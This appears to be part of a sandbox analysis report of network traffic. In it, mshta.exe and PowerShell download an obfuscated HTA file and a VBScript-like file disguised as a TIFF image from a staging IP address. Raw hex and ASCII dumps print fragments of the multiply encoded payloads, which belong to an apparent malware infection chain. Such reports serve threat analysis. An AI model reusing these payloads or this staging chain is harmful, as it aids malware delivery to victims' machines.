                                                                                                                                                                Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 3e 6d 3d 27 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 53 63 72 69 70 74 25 32 35 32 30 4c 61 6e 67 75 61 67 65 25 32 35 33 44 25 32 35 32 37 4a 61 76 61 73 63 72 69 70 74 25 32 35 32 37 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 32 30 48 54 4d 4c 25 32 35 32 30 45 6e 63 72 79 70 74 69 6f 6e 25 32 35 32 30 70 72 6f 76 69 64 65 64 25 32 35 32 30 62 79 25 32 35 32 30 74 75 66 61 74 2e 63 6f 6d 25 32 35 32 30 2d 2d 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 38 25 32 35 32 37 25 32 35 32 35 33 43 25 32 35 32 35 32 31 25 32 35 32 35 34 34 25 32 35 32 35 34 46 25 32 35 32 35 34 33 25 32 35 32 35 35 34 25 32 35 32 35 35 39 25 32 35 32 35 35 30 25 32 35 32 35 34 35 25 [TRUNCATED]
                                                                                                                                                                Data Ascii: <script language=JavaScript>m='%3Cscript%20language%3DJavaScript%3Em%3D%27%253CScript%2520Language%253D%2527Javascript%2527%253E%250A%253C%2521--%2520HTML%2520Encryption%2520provided%2520by%2520tufat.com%2520--%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2527%25253C%252521%252544%25254F%252543%252554%252559%252550%252545%252520%252568%252574%25256D%25256C%25253E%25250A%25253C%25256D%252565%252574%252561%252520%252568%252574%252574%252570%25252D%252565%252571%252575%252569%252576%25253D%252522%252558%25252D%252555%252541%25252D%252543%25256F%25256D%252570%252561%252574%252569%252562%25256C%252565%252522%252520%252563%25256F%25256E%252574%252565%25256E%252574%25253D%252522%252549%252545%25253D%252545%25256D%252575%25256C%252561%252574%252565%252549%252545%252538%252522%252520%25253E%25250A%25253C%252568%252574%25256D%25256C%25253E%25250A%25253C%252562%25256F%252564%252579%25253E%25250A%2525
                                                                                                                                                                Nov 28, 2024 11:01:25.723944902 CET1236INData Raw: 33 43 25 32 35 32 35 37 33 25 32 35 32 35 36 33 25 32 35 32 35 37 32 25 32 35 32 35 36 39 25 32 35 32 35 35 30 25 32 35 32 35 37 34 25 32 35 32 35 32 30 25 32 35 32 35 37 34 25 32 35 32 35 35 39 25 32 35 32 35 35 30 25 32 35 32 35 36 35 25 32 35
                                                                                                                                                                Data Ascii: 3C%252573%252563%252572%252569%252550%252574%252520%252574%252559%252550%252565%25253D%252522%252574%252545%252578%252554%25252F%252556%252562%252573%252543%252572%252549%252570%252554%252522%25253E%25250A%252564%252549%25254D%252520%252520%25
                                                                                                                                                                Nov 28, 2024 11:01:25.723958969 CET1236INData Raw: 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30
                                                                                                                                                                Data Ascii: 52520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520
                                                                                                                                                                Nov 28, 2024 11:01:25.724070072 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252554%252576%25256B%252571%25257A%252578%252547%25254D%25257A%252
                                                                                                                                                                Nov 28, 2024 11:01:25.724087954 CET1236INData Raw: 32 35 35 39 25 32 35 32 35 35 41 25 32 35 32 35 35 37 25 32 35 32 35 34 36 25 32 35 32 35 34 43 25 32 35 32 35 35 41 25 32 35 32 35 37 37 25 32 35 32 35 35 30 25 32 35 32 35 37 32 25 32 35 32 35 34 41 25 32 35 32 35 35 37 25 32 35 32 35 34 46 25
                                                                                                                                                                Data Ascii: 2559%25255A%252557%252546%25254C%25255A%252577%252550%252572%25254A%252557%25254F%252564%25254B%252544%252565%252554%252575%252574%252570%252541%252555%25255A%252576%252546%252543%252574%25256E%25256B%252546%252561%252572%252576%252559%252565%
                                                                                                                                                                Nov 28, 2024 11:01:25.724102020 CET1236INData Raw: 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35
                                                                                                                                                                Data Ascii: %252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2525
                                                                                                                                                                Nov 28, 2024 11:01:25.724339962 CET1236INData Raw: 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32
                                                                                                                                                                Data Ascii: 520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2
                                                                                                                                                                Nov 28, 2024 11:01:25.724358082 CET1236INData Raw: 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32
                                                                                                                                                                Data Ascii: 252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                Nov 28, 2024 11:01:25.724373102 CET1236INData Raw: 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35
                                                                                                                                                                Data Ascii: 20%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25
                                                                                                                                                                Nov 28, 2024 11:01:25.724390984 CET1236INData Raw: 35 32 35 35 37 25 32 35 32 35 34 35 25 32 35 32 35 34 37 25 32 35 32 35 37 41 25 32 35 32 35 36 34 25 32 35 32 35 36 44 25 32 35 32 35 34 41 25 32 35 32 35 37 39 25 32 35 32 35 35 32 25 32 35 32 35 36 34 25 32 35 32 35 36 35 25 32 35 32 35 35 30
                                                                                                                                                                Data Ascii: 52557%252545%252547%25257A%252564%25256D%25254A%252579%252552%252564%252565%252550%252548%252546%252554%252541%252572%252567%25254A%252569%252579%252551%252545%25254F%252555%252558%252572%252576%252544%252575%252552%25254B%25254A%252577%252550
                                                                                                                                                                Nov 28, 2024 11:01:25.844158888 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                1192.168.2.2249166172.232.175.166803640C:\Windows\System32\mshta.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:01:30.641758919 CET430OUTGET /809/ce/createdgoodthingsfor.hta HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                Accept-Language: fr-FR
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Range: bytes=8896-
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Host: 172.232.175.166
                                                                                                                                                                If-Range: "26e08-627f297054196"
                                                                                                                                                                Nov 28, 2024 11:01:31.908387899 CET1236INHTTP/1.1 206 Partial Content
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:31 GMT
                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                Last-Modified: Thu, 28 Nov 2024 05:45:29 GMT
                                                                                                                                                                ETag: "26e08-627f297054196"
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                Content-Length: 150344
                                                                                                                                                                Content-Range: bytes 8896-159239/159240
                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Content-Type: application/hta
                                                                                                                                                                Data Raw: 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 [TRUNCATED]
                                                                                                                                                                Data Ascii: 20%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                Nov 28, 2024 11:01:31.908611059 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252
                                                                                                                                                                Nov 28, 2024 11:01:31.908624887 CET1236INData Raw: 32 35 37 36 25 32 35 32 35 34 34 25 32 35 32 35 37 35 25 32 35 32 35 35 32 25 32 35 32 35 34 42 25 32 35 32 35 34 41 25 32 35 32 35 37 37 25 32 35 32 35 35 30 25 32 35 32 35 34 44 25 32 35 32 35 35 37 25 32 35 32 35 34 44 25 32 35 32 35 34 46 25
                                                                                                                                                                Data Ascii: 2576%252544%252575%252552%25254B%25254A%252577%252550%25254D%252557%25254D%25254F%25256F%25256A%25254B%25256E%252566%252568%252550%25256C%252547%252546%252543%25254F%252552%25254B%252575%252567%252575%252578%252562%25254F%252564%25254A%252552%
                                                                                                                                                                Nov 28, 2024 11:01:31.908637047 CET1236INData Raw: 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35
                                                                                                                                                                Data Ascii: %252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2525
                                                                                                                                                                Nov 28, 2024 11:01:31.908648968 CET1236INData Raw: 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32
                                                                                                                                                                Data Ascii: 520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2
                                                                                                                                                                Nov 28, 2024 11:01:31.908660889 CET1236INData Raw: 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32
                                                                                                                                                                Data Ascii: 252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                Nov 28, 2024 11:01:31.908674002 CET1236INData Raw: 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35
                                                                                                                                                                Data Ascii: 20%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25
                                                                                                                                                                Nov 28, 2024 11:01:31.908855915 CET1236INData Raw: 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30
                                                                                                                                                                Data Ascii: 52520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520
                                                                                                                                                                Nov 28, 2024 11:01:31.908869028 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252
                                                                                                                                                                Nov 28, 2024 11:01:31.908880949 CET1236INData Raw: 32 35 35 41 25 32 35 32 35 34 34 25 32 35 32 35 34 46 25 32 35 32 35 34 32 25 32 35 32 35 34 34 25 32 35 32 35 37 33 25 32 35 32 35 36 43 25 32 35 32 35 36 38 25 32 35 32 35 36 45 25 32 35 32 35 35 32 25 32 35 32 35 37 32 25 32 35 32 35 37 36 25
                                                                                                                                                                Data Ascii: 255A%252544%25254F%252542%252544%252573%25256C%252568%25256E%252552%252572%252576%252551%252573%252572%252552%252579%252553%252554%252543%25254A%252574%252557%252544%25256D%25256C%252565%252573%252578%252562%25254B%25254F%25254A%25256C%25254D%
                                                                                                                                                                Nov 28, 2024 11:01:32.028899908 CET1236INData Raw: 25 32 35 32 35 34 32 25 32 35 32 35 37 35 25 32 35 32 35 37 31 25 32 35 32 35 37 33 25 32 35 32 35 34 35 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35
                                                                                                                                                                Data Ascii: %252542%252575%252571%252573%252545%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2525


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                2192.168.2.2249168172.232.175.166803792C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:01:45.726650953 CET379OUTGET /809/createdbestthignswihtentiretimegivenmebestforever.tIF HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Host: 172.232.175.166
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Nov 28, 2024 11:01:46.961405993 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:46 GMT
                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                Last-Modified: Thu, 28 Nov 2024 05:43:08 GMT
                                                                                                                                                                ETag: "259f4-627f28e9d941d"
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                Content-Length: 154100
                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Content-Type: image/tiff
                                                                                                                                                                Data Raw: ff fe 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 55 00 69 00 4c 00 5a 00 4c 00 57 00 6c 00 47 00 6f 00 4c 00 57 00 6d 00 65 00 65 00 52 00 20 00 3d 00 20 00 22 00 76 00 78 00 4e 00 50 00 4e 00 49 00 57 00 4c 00 63 00 5a 00 4b 00 61 00 71 00 57 00 71 00 22 00 0d 00 0a 00 41 00 62 00 4b 00 61 00 78 00 4c 00 47 00 66 00 43 00 75 00 43 00 47 00 69 00 70 00 52 00 20 00 3d 00 20 00 22 00 63 00 62 00 47 00 4b 00 6f 00 55 00 57 00 70 00 69 00 61 00 4b 00 57 00 65 00 6b 00 50 00 22 00 0d 00 0a 00 63 00 41 00 62 00 41 00 47 00 4b 00 68 00 64 00 4c 00 55 00 63 00 57 00 75 00 4c 00 69 00 20 00 3d 00 20 00 22 00 65 00 70 00 62 00 4f 00 55 00 6e 00 65 00 4b 00 6e 00 43 00 55 00 6d 00 4e 00 42 00 6c 00 22 00 0d 00 0a 00 0d 00 0a 00 41 00 55 00 4c 00 4c 00 71 00 41 00 62 00 43 00 66 00 4e 00 6d 00 70 00 4b 00 47 00 6c 00 20 00 3d 00 20 00 22 00 69 00 66 00 4c 00 4c 00 5a 00 73 00 41 00 4c 00 52 00 64 00 7a 00 7a 00 65 00 57 00 6d 00 22 00 0d 00 0a 00 48 00 7a 00 70 00 6b 00 64 00 68 00 57 00 41 00 43 00 5a 00 [TRUNCATED]
                                                                                                                                                                Data Ascii: UiLZLWlGoLWmeeR = "vxNPNIWLcZKaqWq"AbKaxLGfCuCGipR = "cbGKoUWpiaKWekP"cAbAGKhdLUcWuLi = "epbOUneKnCUmNBl"AULLqAbCfNmpKGl = "ifLLZsALRdzzeWm"HzpkdhWACZoZqhU = "CHebWRGWvALtNLq"inWAaPLdWziPLRa = "LxGWWzTRWPcKGcO"OiickOiKSULkOKb = "LsWPahWLAChLnlc"fzzHctxLKkkALtq = "GfRzbUPeNtGORlL"tikLcWbLlLbZUkW = "OUiCiBefZmLWGGi"hUphjtZWiickWWp = "ihJoGWPZUCNWZGi"UJujtRfhNWkidLj = "cGiAoniQbUkWWtc"mLntnpQccKILJnW = "eUezkhnoiWosaLn"OKxpcp
                                                                                                                                                                Nov 28, 2024 11:01:46.961448908 CET1236INData Raw: 00 57 00 75 00 6c 00 6b 00 66 00 7a 00 49 00 5a 00 50 00 20 00 3d 00 20 00 22 00 55 00 78 00 49 00 47 00 61 00 62 00 68 00 6b 00 4c 00 4c 00 6e 00 6e 00 74 00 75 00 70 00 22 00 0d 00 0a 00 4a 00 4f 00 6d 00 4f 00 68 00 6c 00 55 00 78 00 57 00 64
                                                                                                                                                                Data Ascii: WulkfzIZP = "UxIGabhkLLnntup"JOmOhlUxWdNitcJ = "GCKLmWJfLaskLbG"WipcPeGTmWciAKl = "UlKxLIKizkRfZcp"CqtWdAWWcpCOCP
                                                                                                                                                                Nov 28, 2024 11:01:46.961462021 CET448INData Raw: 00 52 00 63 00 4c 00 55 00 47 00 7a 00 22 00 0d 00 0a 00 55 00 4b 00 5a 00 65 00 6b 00 69 00 6f 00 6c 00 4f 00 57 00 47 00 68 00 6d 00 74 00 51 00 20 00 3d 00 20 00 22 00 41 00 42 00 4c 00 4c 00 65 00 42 00 69 00 63 00 52 00 4c 00 70 00 6c 00 47
                                                                                                                                                                Data Ascii: RcLUGz"UKZekiolOWGhmtQ = "ABLLeBicRLplGWZ"fznLLrZmhaGxfUp = "ZLLKhKKzJKLACtZ"ZfzptRtHjniuWdA = "GKeKNAApLscsWRK"i
                                                                                                                                                                Nov 28, 2024 11:01:46.961492062 CET1236INData Raw: 00 49 00 4c 00 4c 00 57 00 6f 00 43 00 22 00 0d 00 0a 00 6c 00 68 00 63 00 7a 00 57 00 65 00 7a 00 4c 00 4c 00 57 00 47 00 4c 00 57 00 55 00 68 00 20 00 3d 00 20 00 22 00 43 00 47 00 41 00 57 00 68 00 75 00 6e 00 49 00 4c 00 71 00 6b 00 4c 00 43
                                                                                                                                                                Data Ascii: ILLWoC"lhczWezLLWGLWUh = "CGAWhunILqkLCCa"GAIqkfKsucBGUqh = "TGHoHHOWWfcPGpm"cRNeqamLGUCQlLC = "obKcLLnaimLOclr"L
                                                                                                                                                                Nov 28, 2024 11:01:46.961513042 CET1236INData Raw: 00 20 00 3d 00 20 00 22 00 4f 00 6f 00 71 00 68 00 55 00 4c 00 68 00 69 00 55 00 70 00 4c 00 63 00 57 00 6f 00 47 00 22 00 0d 00 0a 00 47 00 4c 00 52 00 41 00 76 00 50 00 52 00 4b 00 6e 00 4f 00 6b 00 4c 00 6a 00 66 00 61 00 20 00 3d 00 20 00 22
                                                                                                                                                                Data Ascii: = "OoqhULhiUpLcWoG"GLRAvPRKnOkLjfa = "AbdnarqULAUkzop"iNUxoiCghHsfkiW = "WLKNWZiesSNLUzn"BuOWeZNcdhLWzPW = "BWKe
                                                                                                                                                                Nov 28, 2024 11:01:46.961551905 CET1236INData Raw: 00 63 00 78 00 63 00 7a 00 57 00 57 00 4a 00 69 00 65 00 47 00 5a 00 62 00 7a 00 76 00 50 00 20 00 3d 00 20 00 22 00 6b 00 66 00 57 00 41 00 7a 00 78 00 6b 00 6a 00 78 00 75 00 55 00 4b 00 73 00 74 00 4f 00 22 00 0d 00 0a 00 4c 00 57 00 57 00 43
                                                                                                                                                                Data Ascii: cxczWWJieGZbzvP = "kfWAzxkjxuUKstO"LWWCfGooIdkoGeL = "pLBLaLLLxHmNBnc"LGLILpKbbGZjihc = "piLaCbWCpcophWf"UPkBKcuWhA
                                                                                                                                                                Nov 28, 2024 11:01:46.961566925 CET1236INData Raw: 00 4b 00 68 00 70 00 57 00 4c 00 4c 00 57 00 62 00 52 00 47 00 4c 00 63 00 22 00 0d 00 0a 00 6f 00 57 00 55 00 49 00 47 00 63 00 7a 00 72 00 70 00 75 00 4b 00 6b 00 42 00 70 00 69 00 20 00 3d 00 20 00 22 00 63 00 57 00 47 00 57 00 4c 00 6f 00 75
                                                                                                                                                                Data Ascii: KhpWLLWbRGLc"oWUIGczrpuKkBpi = "cWGWLoupUWBmiKW"zmQAibWnuoWmhBi = "bbtWPzopKoCxNWf"LlfdLLZRiWcoPJn = "kafUhicNCGmmB
                                                                                                                                                                Nov 28, 2024 11:01:46.961791992 CET1236INData Raw: 00 69 00 57 00 42 00 49 00 68 00 69 00 20 00 3d 00 20 00 22 00 69 00 73 00 61 00 65 00 6c 00 57 00 63 00 6e 00 57 00 74 00 69 00 74 00 55 00 63 00 4b 00 22 00 0d 00 0a 00 4c 00 5a 00 69 00 73 00 6b 00 4b 00 74 00 78 00 42 00 4c 00 71 00 4c 00 4c
                                                                                                                                                                Data Ascii: iWBIhi = "isaelWcnWtitUcK"LZiskKtxBLqLLqT = "ULkLmWCrdpinCZj"zLzNmdzGKiWiSRf = "LiniKWmOklWKbmU"bpsKLRUpmCgZcKK =
                                                                                                                                                                Nov 28, 2024 11:01:46.961806059 CET1236INData Raw: 00 76 00 47 00 4c 00 22 00 0d 00 0a 00 65 00 53 00 57 00 7a 00 64 00 69 00 41 00 53 00 63 00 6d 00 61 00 74 00 47 00 4b 00 4c 00 20 00 3d 00 20 00 22 00 6a 00 43 00 71 00 6b 00 57 00 6e 00 67 00 69 00 4e 00 6b 00 47 00 6f 00 62 00 75 00 52 00 22
                                                                                                                                                                Data Ascii: vGL"eSWzdiAScmatGKL = "jCqkWngiNkGobuR"pUmcfaZWbJhvBLz = "GfUcvZbKLABjGgP"olKiKPGriJgBNbI = "zleUekKiiaceoUc"eKzZ
                                                                                                                                                                Nov 28, 2024 11:01:46.961817980 CET1236INData Raw: 00 3d 00 20 00 22 00 47 00 7a 00 57 00 65 00 69 00 57 00 42 00 71 00 68 00 69 00 6d 00 6b 00 65 00 78 00 6b 00 22 00 0d 00 0a 00 69 00 4c 00 6b 00 4c 00 62 00 70 00 61 00 66 00 4e 00 6b 00 6b 00 5a 00 4c 00 57 00 78 00 20 00 3d 00 20 00 22 00 49
                                                                                                                                                                Data Ascii: = "GzWeiWBqhimkexk"iLkLbpafNkkZLWx = "ILkhWtLWmTtzUeR"ivPqmZLKULWGaWH = "kqlWNcWWZCAzCZc"nmhLrAtoLopQlKN = "ZWBzUop
                                                                                                                                                                Nov 28, 2024 11:01:47.081595898 CET1236INData Raw: 00 63 00 47 00 62 00 57 00 7a 00 67 00 4b 00 61 00 70 00 57 00 55 00 55 00 20 00 3d 00 20 00 22 00 4b 00 6b 00 54 00 6b 00 4b 00 70 00 6e 00 5a 00 57 00 6c 00 4c 00 47 00 6b 00 6e 00 4b 00 22 00 0d 00 0a 00 68 00 47 00 69 00 4e 00 6d 00 65 00 75
